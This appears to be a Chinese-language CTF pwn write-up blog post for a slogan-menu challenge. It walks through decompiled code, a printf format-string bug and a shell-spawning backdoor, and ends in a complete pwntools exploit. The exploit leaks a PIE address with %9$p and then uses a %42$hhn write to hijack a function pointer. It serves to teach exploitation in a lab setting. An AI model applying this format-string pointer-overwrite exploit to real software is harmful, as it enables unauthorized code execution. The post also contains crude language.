889 words
4 minutes
2026第一周wp05
写在前面
第一双神了,有了点问题于是12号鸽了,现在是13号1:14,更新完准备睡觉
第二版说明:早上起来发现没更新到,故修复一下
外卖补贴
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: NoPIE+NX
看看机翻main
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned __int64 number; // rax _QWORD v5[64]; // [rsp+0h] [rbp-210h] BYREF __int64 v6; // [rsp+200h] [rbp-10h] BYREF unsigned __int64 v7; // [rsp+208h] [rbp-8h]
memset(v5, 0, sizeof(v5)); v7 = 0; initialise(&v6, argv); publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel; while ( 1 ) { show_menu(); number = read_number(); if ( number == 4 ) return 0; if ( number > 4 ) goto LABEL_17; switch ( number ) { case 3uLL: publish_hook("The discount line has been pushed to the homepage.");// 折扣线已推送到主页。 break; case 1uLL: printf("How long is this campaign line? ");// 这条竞选路线有多长? v7 = read_number(); if ( v7 && v7 <= 0x1FF ) { printf("Drop your campaign line here: ");// 在这里放下你的竞选口号: read_exact(0, v5, v7); *((_BYTE *)v5 + v7) = 0; puts("Nice. Let us see how many people search for it.");// 不错。让我们看看有多少人在搜索它。 } else { puts("That campaign line will not fit on the board.");// 那条竞选路线不适合董事会。 } break; case 2uLL: if ( v7 ) preview_slogan(v5); else puts("No campaign line has been submitted.");// 尚未提交任何活动线。 break; default:LABEL_17: puts("The marketing dashboard ignores that request.");// 营销仪表板忽略该请求。 break; } }}看看菜单
int show_menu(){ puts("another ad job?"); puts("1. press 1 to submit your slogan"); puts("2. press 2 to preview"); puts("3. press 3 to pin it on the homepage"); puts("4. done? clock out"); return printf(off_20A0);} // int show_menu(){puts(“另一个广告作业?”);puts(”1。按1提交你的口号);把(“2。按2预览“);按3。按3将其固定在主页上”)。完成?时钟输出”);返回printf(off_20A0);} //可以看到输入>=4都会被踹
选3操作
选1先是输入长度,然后输入内容
选2:
int __fastcall preview_slogan(const char *a1){ printf("preview: "); printf(a1); return putchar(10);}操作空间这不就来了吗兄弟
然后就是找后门环节
shift+F12唤出strings
找到bin,按X查看调用(这个我他妈好像已经讲了很多遍了)
int director_channel(){ char *argv[4]; // [rsp+10h] [rbp-20h] BYREF
argv[0] = "/bin/sh"; argv[1] = "-p"; argv[2] = 0; chdir("/"); alarm(0xFu); return execve("/bin/sh", argv, 0);}ok
现在归纳思路
可操作点在于
printf(a1);喜欢不限制,喜欢直接打印
还有v5的栈溢出
v7 && v7 <= 0x1FF对输入长度的值的限制
read_exact(0, v5, v7);对v5的读入
_QWORD v5[64]; // [rsp+0h] [rbp-210h] BYREFv5是长度是0x210
下面注意我说的话:
负数在检查上界的时候是没问题的,他就是会小于正常正数,但是调用的时候他会变成0xFFFFFFFFFFFFFFFF
现在我们缺的是什么
真实地址(%p)
可执行跳转到后门操作的地方
那怎么跳转进入后门呢
操作三
publish_hook("The discount line has been pushed to the homepage.");且
publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel;又因为
int __fastcall homepage_channel(const char *a1){ return puts(a1);}你他妈是个指针啊
那我可以找个栈溢出给你覆盖了,哦原来有了,那我什么都不缺了
总结exp思路
第一轮泄露地址,第二轮栈溢出输入写入+触发拿到后门
from pwn import *
context.log_level = 'info'context.arch = 'amd64'
p = remote("127.0.0.1", 61073)# p = process('./full-reduction')def menu(n): p.recvuntil(b'> ') p.sendline(str(n).encode())
def submit(data): menu(1) p.recvuntil(b'How long is this campaign line? ') p.sendline(str(len(data)).encode()) p.recvuntil(b'Drop your campaign line here: ') p.send(data)
submit(b'%9$p.')menu(2)p.recvuntil(b'preview: ')leak = int(p.recvuntil(b'.', drop=True), 16)pie_base = leak - 0x1670
tgt = pie_base + 0x40b0fmt = b'X' * 247fmt += b'%42$hhn'fmt += b'XX'fmt += p64(tgt)submit(fmt)menu(2)
menu(3)p.interactive()%9$p不再赘述
怎么算出来是鸡巴的第42位参数覆盖也不说了
XX补字节
2026第一周wp05
https://dxfaker.top/posts/26moe5/ Some information may be outdated